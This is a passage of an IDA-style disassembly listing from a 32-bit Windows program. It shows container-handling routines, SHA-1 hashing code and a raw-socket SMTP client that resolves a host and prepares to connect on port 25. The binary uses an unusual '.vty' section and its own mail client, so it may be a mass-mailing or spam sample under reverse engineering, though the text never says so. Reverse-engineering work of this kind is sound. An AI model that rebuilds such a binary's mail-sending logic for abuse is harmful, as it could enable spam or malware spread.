		mov	ecx, edi
		call	sub_40C801
		mov	byte ptr [ebp-4], 3
		mov	ecx, [ebx+8]
		lea	eax, [ebp-78h]
		push	eax
		mov	eax, ecx
		sub	eax, edi
		push	5Ch
		pop	esi
		cdq
		idiv	esi
		xor	edx, edx
		inc	edx
		sub	edx, eax
		push	edx
		push	ecx
		call	sub_40C33D
		and	dword ptr [ebp-4], 0
		add	[ebx+8], esi
		mov	ebx, [ebx+8]
		add	ebx, 0FFFFFFA4h
		cmp	edi, ebx
		mov	esi, edi
		jz	short loc_40C607


loc_40C58D:				; CODE XREF: sub_40C3E5+1B5j
		lea	edi, [ebp-78h]
		call	sub_40CAD0
		add	esi, 5Ch
		cmp	esi, ebx
		jnz	short loc_40C58D
		jmp	short loc_40C607
; ---------------------------------------------------------------------------


loc_40C59E:				; DATA XREF: .vty:0042083Co
		mov	eax, [ebp+8]
		mov	edi, [eax+8]
		mov	esi, [ebp+10h]
		add	edi, 5Ch
		jmp	short loc_40C5B1
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C3E5+1D1j
		call	sub_407598


loc_40C5B1:				; CODE XREF: sub_40C3E5+1C5j
		add	esi, 5Ch
		cmp	esi, edi
		jnz	short loc_40C5AC
		jmp	loc_40C52F
; ---------------------------------------------------------------------------


loc_40C5BD:				; CODE XREF: sub_40C3E5+166j
		push	esi
		lea	ecx, [esi-5Ch]
		push	esi
		call	sub_40C801
		mov	[ebx+8], eax
		lea	ebx, [esi-5Ch]
		cmp	edi, ebx
		jz	short loc_40C5EF
		mov	[ebp+8], esi
		sub	[ebp+8], ebx


loc_40C5D7:				; CODE XREF: sub_40C3E5+205j
		mov	eax, [ebp+8]
		sub	ebx, 5Ch
		lea	esi, [eax+ebx]
		mov	edi, ebx
		call	sub_40CAD0
		cmp	ebx, [ebp+10h]
		jnz	short loc_40C5D7
		mov	edi, [ebp+10h]


loc_40C5EF:				; CODE XREF: sub_40C3E5+1EAj
		lea	ebx, [edi+5Ch]
		cmp	edi, ebx
		mov	esi, edi
		jz	short loc_40C607


loc_40C5F8:				; CODE XREF: sub_40C3E5+220j
		lea	edi, [ebp-78h]
		call	sub_40CAD0
		add	esi, 5Ch
		cmp	esi, ebx
		jnz	short loc_40C5F8


loc_40C607:				; CODE XREF: sub_40C3E5+127j
					; sub_40C3E5+1A6j ...
		lea	esi, [ebp-78h]
		call	sub_407598
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_40C3E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C620	proc near		; CODE XREF: sub_40C36D+43p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	bl, [eax]
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+4]
		test	ecx, ecx
		push	edi
		mov	byte ptr [ebp+var_8], bl
		jnz	short loc_40C63C
		and	[ebp+var_4], ecx
		jmp	short loc_40C644
; ---------------------------------------------------------------------------


loc_40C63C:				; CODE XREF: sub_40C620+15j
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		mov	[ebp+var_4], eax


loc_40C644:				; CODE XREF: sub_40C620+1Aj
		test	ecx, ecx
		jnz	short loc_40C64C
		xor	eax, eax
		jmp	short loc_40C651
; ---------------------------------------------------------------------------


loc_40C64C:				; CODE XREF: sub_40C620+26j
		mov	eax, [esi+8]
		sub	eax, ecx


loc_40C651:				; CODE XREF: sub_40C620+2Aj
		or	edx, 0FFFFFFFFh
		sub	edx, eax
		cmp	edx, 1
		jnb	short loc_40C660
		call	sub_40684D


loc_40C660:				; CODE XREF: sub_40C620+39j
		test	ecx, ecx
		jnz	short loc_40C668
		xor	eax, eax
		jmp	short loc_40C66D
; ---------------------------------------------------------------------------


loc_40C668:				; CODE XREF: sub_40C620+42j
		mov	eax, [esi+8]
		sub	eax, ecx


loc_40C66D:				; CODE XREF: sub_40C620+46j
		inc	eax
		cmp	[ebp+var_4], eax
		jnb	loc_40C709
		mov	eax, [ebp+var_4]
		shr	eax, 1
		or	edx, 0FFFFFFFFh
		sub	edx, eax
		cmp	edx, [ebp+var_4]
		jnb	short loc_40C68C
		and	[ebp+var_4], 0
		jmp	short loc_40C68F
; ---------------------------------------------------------------------------


loc_40C68C:				; CODE XREF: sub_40C620+64j
		add	[ebp+var_4], eax


loc_40C68F:				; CODE XREF: sub_40C620+6Aj
		test	ecx, ecx
		jnz	short loc_40C697
		xor	eax, eax
		jmp	short loc_40C69C
; ---------------------------------------------------------------------------


loc_40C697:				; CODE XREF: sub_40C620+71j
		mov	eax, [esi+8]
		sub	eax, ecx


loc_40C69C:				; CODE XREF: sub_40C620+75j
		inc	eax
		cmp	[ebp+var_4], eax
		jnb	short loc_40C6B3
		test	ecx, ecx
		jnz	short loc_40C6AA
		xor	eax, eax
		jmp	short loc_40C6AF
; ---------------------------------------------------------------------------


loc_40C6AA:				; CODE XREF: sub_40C620+84j
		mov	eax, [esi+8]
		sub	eax, ecx


loc_40C6AF:				; CODE XREF: sub_40C620+88j
		inc	eax
		mov	[ebp+var_4], eax


loc_40C6B3:				; CODE XREF: sub_40C620+80j
		mov	ecx, [ebp+var_4]
		call	sub_40C789
		push	dword ptr [esi+4]
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		mov	ecx, edi
		call	sub_40C825
		push	[ebp+arg_4]
		mov	[eax], bl
		lea	ecx, [eax+1]
		mov	eax, [esi+8]
		call	sub_40C825
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_40C6E5
		xor	ebx, ebx
		jmp	short loc_40C6EA
; ---------------------------------------------------------------------------


loc_40C6E5:				; CODE XREF: sub_40C620+BFj
		mov	ebx, [esi+8]
		sub	ebx, eax


loc_40C6EA:				; CODE XREF: sub_40C620+C3j
		test	eax, eax
		jz	short loc_40C6F5
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_40C6F5:				; CODE XREF: sub_40C620+CCj
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[esi+0Ch], eax
		lea	eax, [edi+ebx+1]
		mov	[esi+8], eax
		mov	[esi+4], edi
		jmp	short loc_40C782
; ---------------------------------------------------------------------------


loc_40C709:				; CODE XREF: sub_40C620+51j
		mov	edi, [esi+8]
		mov	ebx, [ebp+arg_4]
		mov	eax, edi
		sub	eax, ebx
		cmp	eax, 1
		jnb	short loc_40C745
		lea	ecx, [ebx+1]
		push	ebx
		mov	eax, edi
		call	sub_40C825
		mov	ecx, [esi+8]
		mov	eax, ebx
		sub	eax, ecx
		inc	eax
		jz	short loc_40C73A
		push	eax
		push	[ebp+var_8]
		push	ecx
		call	sub_40DD10
		add	esp, 0Ch


loc_40C73A:				; CODE XREF: sub_40C620+10Bj
		inc	dword ptr [esi+8]
		mov	esi, [esi+8]
		lea	eax, [esi-1]
		jmp	short loc_40C76F
; ---------------------------------------------------------------------------


loc_40C745:				; CODE XREF: sub_40C620+F6j
		lea	eax, [edi-1]
		push	eax
		mov	ecx, edi
		mov	eax, edi
		call	sub_40C825
		mov	[esi+8], eax
		mov	eax, edi
		sub	eax, ebx
		dec	eax
		test	eax, eax
		jle	short loc_40C76C
		push	eax
		push	ebx
		push	eax
		sub	edi, eax
		push	edi
		call	sub_40D807
		add	esp, 10h


loc_40C76C:				; CODE XREF: sub_40C620+13Cj
		lea	eax, [ebx+1]


loc_40C76F:				; CODE XREF: sub_40C620+123j
		cmp	ebx, eax
		jz	short loc_40C782
		sub	eax, ebx
		push	eax
		push	[ebp+var_8]
		push	ebx
		call	sub_40DD10
		add	esp, 0Ch


loc_40C782:				; CODE XREF: sub_40C620+E7j
					; sub_40C620+151j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40C620	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C789	proc near		; CODE XREF: sub_40C620+96p
					; sub_40C844+C4p

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_40C79E
		xor	ecx, ecx


loc_40C795:				; CODE XREF: sub_40C789+1Fj
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C79E:				; CODE XREF: sub_40C789+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_40C795
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40C789	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C7D0	proc near		; CODE XREF: sub_40C1D3+22p
					; sub_40C2BE+69p

arg_0		= dword	ptr  4

		cmp	dword ptr [edi], 0
		jnz	short loc_40C7DA
		call	sub_40DCFC


loc_40C7DA:				; CODE XREF: sub_40C7D0+3j
		mov	eax, [edi+4]
		mov	ecx, [edi]
		push	esi
		mov	esi, [esp+4+arg_0]
		imul	esi, 5Ch
		add	eax, esi
		cmp	eax, [ecx+8]
		ja	short loc_40C7F3
		cmp	eax, [ecx+4]
		jnb	short loc_40C7F8


loc_40C7F3:				; CODE XREF: sub_40C7D0+1Cj
		call	sub_40DCFC


loc_40C7F8:				; CODE XREF: sub_40C7D0+21j
		add	[edi+4], esi
		mov	eax, edi
		pop	esi
		retn	4
sub_40C7D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C801	proc near		; CODE XREF: sub_40C3E5+B0p
					; sub_40C3E5+CEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB4B
		add	esp, 10h
		pop	edi
		leave
		retn	8
sub_40C801	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C825	proc near		; CODE XREF: sub_40C620+A5p
					; sub_40C620+B5p ...

arg_0		= dword	ptr  4

		sub	eax, [esp+arg_0]
		push	esi
		lea	esi, [eax+ecx]
		jz	short loc_40C83E
		push	eax
		push	[esp+8+arg_0]
		push	eax
		push	ecx
		call	sub_40D807
		add	esp, 10h


loc_40C83E:				; CODE XREF: sub_40C825+8j
		mov	eax, esi
		pop	esi
		retn	4
sub_40C825	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C844	proc near		; CODE XREF: sub_40B7A2+E4p
					; sub_40B7A2+1C4p
		mov	eax, offset loc_41B117
		call	sub_41AE44
		sub	esp, 14h
		mov	eax, [ebp+1Ch]
		cmp	eax, 0FFFFFFFEh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	ebx, ecx
		jz	short loc_40C86F
		test	eax, eax
		jz	short loc_40C86A
		cmp	eax, [ebp+14h]
		jz	short loc_40C86F


loc_40C86A:				; CODE XREF: sub_40C844+1Fj
		call	sub_40DCFC


loc_40C86F:				; CODE XREF: sub_40C844+1Bj
					; sub_40C844+24j
		mov	edi, [ebp+20h]
		sub	edi, [ebp+18h]
		mov	ecx, [ebx+4]
		test	ecx, ecx
		mov	[ebp-1Ch], edi
		jnz	short loc_40C884
		and	[ebp-14h], ecx
		jmp	short loc_40C88C
; ---------------------------------------------------------------------------


loc_40C884:				; CODE XREF: sub_40C844+39j
		mov	eax, [ebx+0Ch]
		sub	eax, ecx
		mov	[ebp-14h], eax


loc_40C88C:				; CODE XREF: sub_40C844+3Ej
		test	edi, edi
		jz	loc_40CA5F
		test	ecx, ecx
		jnz	short loc_40C89C
		xor	eax, eax
		jmp	short loc_40C8A1
; ---------------------------------------------------------------------------


loc_40C89C:				; CODE XREF: sub_40C844+52j
		mov	eax, [ebx+8]
		sub	eax, ecx


loc_40C8A1:				; CODE XREF: sub_40C844+56j
		or	edx, 0FFFFFFFFh
		sub	edx, eax
		cmp	edx, edi
		jnb	short loc_40C8AF
		call	sub_40684D


loc_40C8AF:				; CODE XREF: sub_40C844+64j
		test	ecx, ecx
		jnz	short loc_40C8B7
		xor	eax, eax
		jmp	short loc_40C8BC
; ---------------------------------------------------------------------------


loc_40C8B7:				; CODE XREF: sub_40C844+6Dj
		mov	eax, [ebx+8]
		sub	eax, ecx


loc_40C8BC:				; CODE XREF: sub_40C844+71j
		add	eax, edi
		cmp	[ebp-14h], eax
		jnb	loc_40C987
		mov	eax, [ebp-14h]
		shr	eax, 1
		or	edx, 0FFFFFFFFh
		sub	edx, eax
		cmp	edx, [ebp-14h]
		jnb	short loc_40C8DC
		and	dword ptr [ebp-14h], 0
		jmp	short loc_40C8DF
; ---------------------------------------------------------------------------


loc_40C8DC:				; CODE XREF: sub_40C844+90j
		add	[ebp-14h], eax


loc_40C8DF:				; CODE XREF: sub_40C844+96j
		test	ecx, ecx
		jnz	short loc_40C8E7
		xor	eax, eax
		jmp	short loc_40C8EC
; ---------------------------------------------------------------------------


loc_40C8E7:				; CODE XREF: sub_40C844+9Dj
		mov	eax, [ebx+8]
		sub	eax, ecx


loc_40C8EC:				; CODE XREF: sub_40C844+A1j
		add	eax, edi
		cmp	[ebp-14h], eax
		jnb	short loc_40C905
		test	ecx, ecx
		jnz	short loc_40C8FB
		xor	eax, eax
		jmp	short loc_40C900
; ---------------------------------------------------------------------------


loc_40C8FB:				; CODE XREF: sub_40C844+B1j
		mov	eax, [ebx+8]
		sub	eax, ecx


loc_40C900:				; CODE XREF: sub_40C844+B5j
		add	eax, edi
		mov	[ebp-14h], eax


loc_40C905:				; CODE XREF: sub_40C844+ADj
		mov	ecx, [ebp-14h]
		call	sub_40C789
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebx+4]
		mov	esi, eax
		mov	eax, [ebp+10h]
		mov	ecx, esi
		mov	[ebp-1Ch], esi
		call	sub_40C825
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	eax
		call	sub_40CB11
		push	dword ptr [ebp+10h]
		mov	ecx, eax
		mov	eax, [ebx+8]
		call	sub_40C825
		mov	ecx, [ebx+4]
		test	ecx, ecx
		jnz	short loc_40C94D
		xor	eax, eax
		jmp	short loc_40C952
; ---------------------------------------------------------------------------


loc_40C94D:				; CODE XREF: sub_40C844+103j
		mov	eax, [ebx+8]
		sub	eax, ecx


loc_40C952:				; CODE XREF: sub_40C844+107j
		add	edi, eax
		test	ecx, ecx
		jz	short loc_40C95F
		push	ecx
		call	sub_40DD8A
		pop	ecx


loc_40C95F:				; CODE XREF: sub_40C844+112j
		mov	eax, [ebp-14h]
		add	eax, esi
		mov	[ebx+0Ch], eax
		lea	eax, [esi+edi]
		mov	[ebx+8], eax
		mov	[ebx+4], esi
		jmp	loc_40CA5F
; ---------------------------------------------------------------------------


loc_40C975:				; DATA XREF: .vty:00420798o
		push	dword ptr [ebp-1Ch]
		call	sub_40DD8A
		pop	ecx


loc_40C97E:				; DATA XREF: .vty:004207A8o
		push	0
		push	0
		call	sub_4107BC


loc_40C987:				; CODE XREF: sub_40C844+7Dj
		mov	esi, [ebx+8]
		cmp	ecx, esi
		jbe	short loc_40C993
		call	sub_40DCFC


loc_40C993:				; CODE XREF: sub_40C844+148j
		cmp	ebx, [ebp+0Ch]
		jz	short loc_40C99D
		call	sub_40DCFC


loc_40C99D:				; CODE XREF: sub_40C844+152j
		mov	eax, [ebp+10h]
		sub	esi, eax
		cmp	esi, edi
		jnb	short loc_40CA18
		lea	ecx, [eax+edi]
		push	eax
		mov	eax, [ebx+8]
		call	sub_40C825
		mov	eax, [ebp+14h]
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		mov	[ebp-18h], eax
		mov	eax, [ebp+18h]
		mov	[ebp-14h], eax
		jbe	short loc_40C9CB
		call	sub_40DCFC


loc_40C9CB:				; CODE XREF: sub_40C844+180j
		cmp	ebx, [ebp+0Ch]
		jz	short loc_40C9D5
		call	sub_40DCFC


loc_40C9D5:				; CODE XREF: sub_40C844+18Aj
		sub	esi, [ebp+10h]
		mov	edi, esi
		lea	esi, [ebp-18h]
		call	sub_40702B
		mov	dword ptr [ebp-4], 2
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-18h]
		push	dword ptr [ebx+8]
		call	sub_40CB11
		mov	eax, [ebp-1Ch]
		add	[ebx+8], eax
		mov	ecx, [ebp+10h]
		mov	eax, [ebp+18h]
		jmp	short loc_40CA11
; ---------------------------------------------------------------------------


loc_40CA0B:				; CODE XREF: sub_40C844+1D0j
		mov	dl, [eax]
		mov	[ecx], dl
		inc	ecx
		inc	eax


loc_40CA11:				; CODE XREF: sub_40C844+1C5j
		cmp	eax, [ebp-14h]
		jnz	short loc_40CA0B
		jmp	short loc_40CA5F
; ---------------------------------------------------------------------------


loc_40CA18:				; CODE XREF: sub_40C844+160j
		mov	esi, [ebx+8]
		mov	eax, esi
		sub	eax, edi
		push	eax
		mov	ecx, esi
		mov	eax, esi
		call	sub_40C825
		mov	[ebx+8], eax
		mov	eax, esi
		sub	eax, [ebp+10h]
		sub	eax, edi
		test	eax, eax
		jle	short loc_40CA47
		push	eax
		push	dword ptr [ebp+10h]
		sub	esi, eax
		push	eax
		push	esi
		call	sub_40D807
		add	esp, 10h


loc_40CA47:				; CODE XREF: sub_40C844+1F1j
		mov	eax, [ebp+18h]
		cmp	eax, [ebp+20h]
		jz	short loc_40CA5F
		mov	ecx, [ebp+10h]
		sub	ecx, eax


loc_40CA54:				; CODE XREF: sub_40C844+219j
		mov	dl, [eax]
		mov	[ecx+eax], dl
		inc	eax
		cmp	eax, [ebp+20h]
		jnz	short loc_40CA54


loc_40CA5F:				; CODE XREF: sub_40C844+4Aj
					; sub_40C844+12Cj ...
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	1Ch
sub_40C844	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40C33D+1Ap
		mov	eax, offset loc_41AF6E
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax


loc_40CA8C:				; CODE XREF: sub_40CA70+34j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40CAC1
		push	dword ptr [ebp+8]
		mov	edi, [ebp+10h]
		call	sub_407701
		dec	dword ptr [ebp+0Ch]
		add	dword ptr [ebp+8], 5Ch
		jmp	short loc_40CA8C
; ---------------------------------------------------------------------------
		mov	esi, [ebp-14h]
		jmp	short loc_40CAB3
; ---------------------------------------------------------------------------


loc_40CAAB:				; CODE XREF: sub_40CA70+46j
		call	sub_407598
		add	esi, 5Ch


loc_40CAB3:				; CODE XREF: sub_40CA70+39j
		cmp	esi, [ebp+8]
		jnz	short loc_40CAAB
		push	0
		push	0
		call	sub_4107BC


loc_40CAC1:				; CODE XREF: sub_40CA70+20j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_40C3E5+1ABp
					; sub_40C3E5+1FDp ...
		push	0FFFFFFFFh
		push	0
		push	edi
		mov	ecx, esi
		call	sub_401315
		push	0FFFFFFFFh
		push	0
		lea	eax, [edi+1Ch]
		push	eax
		lea	ecx, [esi+1Ch]
		call	sub_401315
		push	0FFFFFFFFh
		push	0
		lea	eax, [edi+38h]
		push	eax
		lea	ecx, [esi+38h]
		call	sub_401315
		mov	eax, [edi+54h]
		mov	[esi+54h], eax
		mov	al, [edi+58h]
		mov	[esi+58h], al
		mov	al, [edi+59h]
		mov	[esi+59h], al
		mov	eax, esi
		retn
sub_40CAD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB11	proc near		; CODE XREF: sub_40C844+ECp
					; sub_40C844+1B4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_40CB38
		add	esp, 0Ch
		pop	edi
		leave
		retn	14h
sub_40CB11	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB38	proc near		; CODE XREF: sub_40CB11+1Ap

arg_0		= dword	ptr  4

		jmp	short loc_40CB44
; ---------------------------------------------------------------------------


loc_40CB3A:				; CODE XREF: sub_40CB38+10j
		test	eax, eax
		jz	short loc_40CB42
		mov	dl, [ecx]
		mov	[eax], dl


loc_40CB42:				; CODE XREF: sub_40CB38+4j
		inc	eax
		inc	ecx


loc_40CB44:				; CODE XREF: sub_40CB38j
		cmp	ecx, [esp+arg_0]
		jnz	short loc_40CB3A
		retn
sub_40CB38	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB4B	proc near		; CODE XREF: sub_4072C2+73p
					; sub_40C801+17p
		mov	eax, offset loc_41AF64
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+0Ch]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	edi, ecx
		mov	[ebp-14h], eax


loc_40CB69:				; CODE XREF: sub_40CB4B+32j
		cmp	edi, [ebp+8]
		jz	short loc_40CB9A
		push	dword ptr [ebp+0Ch]
		call	sub_407701
		add	dword ptr [ebp+0Ch], 5Ch
		add	edi, 5Ch
		jmp	short loc_40CB69
; ---------------------------------------------------------------------------


loc_40CB7F:				; DATA XREF: .vty:00420274o
		mov	esi, [ebp-14h]
		jmp	short loc_40CB8C
; ---------------------------------------------------------------------------


loc_40CB84:				; CODE XREF: sub_40CB4B+44j
		call	sub_407598
		add	esi, 5Ch


loc_40CB8C:				; CODE XREF: sub_40CB4B+37j
		cmp	esi, [ebp+0Ch]
		jnz	short loc_40CB84
		push	0
		push	0
		call	sub_4107BC


loc_40CB9A:				; CODE XREF: sub_40CB4B+21j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40CB4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBAC	proc near		; CODE XREF: sub_401156+69p
					; DATA XREF: .vty:off_41E018o
		mov	edx, ecx
		push	edi
		push	50h
		xor	eax, eax
		pop	ecx
		lea	edi, [edx+20h]
		rep stosd
		and	[edx+4], eax
		and	[edx+8], eax
		mov	dword ptr [edx+0Ch], 67452301h
		mov	dword ptr [edx+10h], 0EFCDAB89h
		mov	dword ptr [edx+14h], 98BADCFEh
		mov	dword ptr [edx+18h], 10325476h
		mov	dword ptr [edx+1Ch], 0C3D2E1F0h
		pop	edi
		retn
sub_40CBAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBE4	proc near		; DATA XREF: .vty:0041E01Co

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, ecx
		lea	esi, [eax+0Ch]
		push	5
		mov	[ebp+var_4], esi
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	edi, [ebp+var_14]
		xor	ebx, ebx
		lea	esi, [eax-18h]


loc_40CC05:				; CODE XREF: sub_40CBE4+9Aj
		test	bl, 0F0h
		jz	short loc_40CC1A
		mov	eax, [esi+2Ch]
		xor	eax, [esi+18h]
		xor	eax, [esi-8]
		xor	eax, [esi]
		rol	eax, 1
		mov	[esi+38h], eax


loc_40CC1A:				; CODE XREF: sub_40CBE4+24j
		mov	eax, ebx
		push	14h
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_18]
		rol	ecx, 5
		add	ecx, dword_41F000[eax*4]
		add	ecx, [esi+38h]
		add	ecx, [ebp+var_8]
		cmp	ebx, 14h
		jge	short loc_40CC40
		mov	eax, edi
		not	eax
		jmp	short loc_40CC53
; ---------------------------------------------------------------------------


loc_40CC40:				; CODE XREF: sub_40CBE4+54j
		test	al, 1
		jz	short loc_40CC4E
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, edi
		jmp	short loc_40CC5D
; ---------------------------------------------------------------------------


loc_40CC4E:				; CODE XREF: sub_40CBE4+5Ej
		mov	eax, [ebp+var_10]
		or	eax, edi


loc_40CC53:				; CODE XREF: sub_40CBE4+5Aj
		mov	edx, [ebp+var_10]
		and	eax, [ebp+var_C]
		and	edx, edi
		or	eax, edx


loc_40CC5D:				; CODE XREF: sub_40CBE4+68j
		add	ecx, eax
		mov	eax, [ebp+var_C]
		ror	edi, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		inc	ebx
		mov	[ebp+var_10], edi
		mov	edi, [ebp+var_18]
		add	esi, 4
		cmp	ebx, 50h
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ecx
		jl	short loc_40CC05
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		xor	ecx, ecx
		pop	ebx


loc_40CC8B:				; CODE XREF: sub_40CBE4+B4j
		mov	edx, [ebp+ecx*4+var_18]
		add	[eax], edx
		inc	ecx
		add	eax, 4
		cmp	ecx, 5
		jl	short loc_40CC8B
		leave
		retn
sub_40CBE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC9C	proc near		; CODE XREF: sub_40CCB1+8p
					; sub_40CCCC+Fp ...
		push	dword ptr [esi]
		call	dword_41C1E8	; closesocket
		test	eax, eax
		jnz	short loc_40CCAE
		or	dword ptr [esi], 0FFFFFFFFh
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_40CCAE:				; CODE XREF: sub_40CC9C+Aj
		xor	al, al
		retn
sub_40CC9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCB1	proc near		; CODE XREF: sub_40399B+72p
					; sub_403C76+13Fp ...
		push	esi
		mov	esi, eax
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_40CCBE
		call	sub_40CC9C


loc_40CCBE:				; CODE XREF: sub_40CCB1+6j
		push	0
		push	1
		lea	ecx, [esi+4]
		call	sub_4013C4
		pop	esi
		retn
sub_40CCB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCCC	proc near		; CODE XREF: sub_40399B+48p
					; sub_403C76+118p ...

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, eax
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_40CCE0
		call	sub_40CC9C


loc_40CCE0:				; CODE XREF: sub_40CCCC+Dj
		push	0
		xor	ebx, ebx
		inc	ebx
		push	ebx
		push	2
		call	dword_41C1E4	; socket
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		mov	[esi], eax
		mov	[ebp+var_4], ebx
		call	dword_41C208	; ioctlsocket
		cmp	dword ptr [edi+18h], 10h
		lea	ebx, [edi+4]
		jb	short loc_40CD10
		mov	eax, [ebx]
		jmp	short loc_40CD12
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CCCC+3Ej
		mov	eax, ebx


loc_40CD12:				; CODE XREF: sub_40CCCC+42j
		push	eax
		call	dword_41C200	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_40CD7A
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40CD2B
		mov	eax, [ebx]
		jmp	short loc_40CD2D
; ---------------------------------------------------------------------------


loc_40CD2B:				; CODE XREF: sub_40CCCC+59j
		mov	eax, ebx


loc_40CD2D:				; CODE XREF: sub_40CCCC+5Dj
		push	eax
		call	dword_41C218	; gethostbyname
		test	eax, eax
		jnz	short loc_40CD64
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40CD40
		mov	ebx, [ebx]


loc_40CD40:				; CODE XREF: sub_40CCCC+70j
		push	ebx
		push	offset aSmtpclientConn ; "SmtpClient::connect: unknown host: %s\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch


loc_40CD57:				; CODE XREF: sub_40CCCC+119j
		call	sub_40CC9C
		or	eax, 0FFFFFFFFh
		jmp	loc_40CDF0
; ---------------------------------------------------------------------------


loc_40CD64:				; CODE XREF: sub_40CCCC+6Aj
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410050
		add	esp, 0Ch


loc_40CD7A:				; CODE XREF: sub_40CCCC+53j
		push	19h
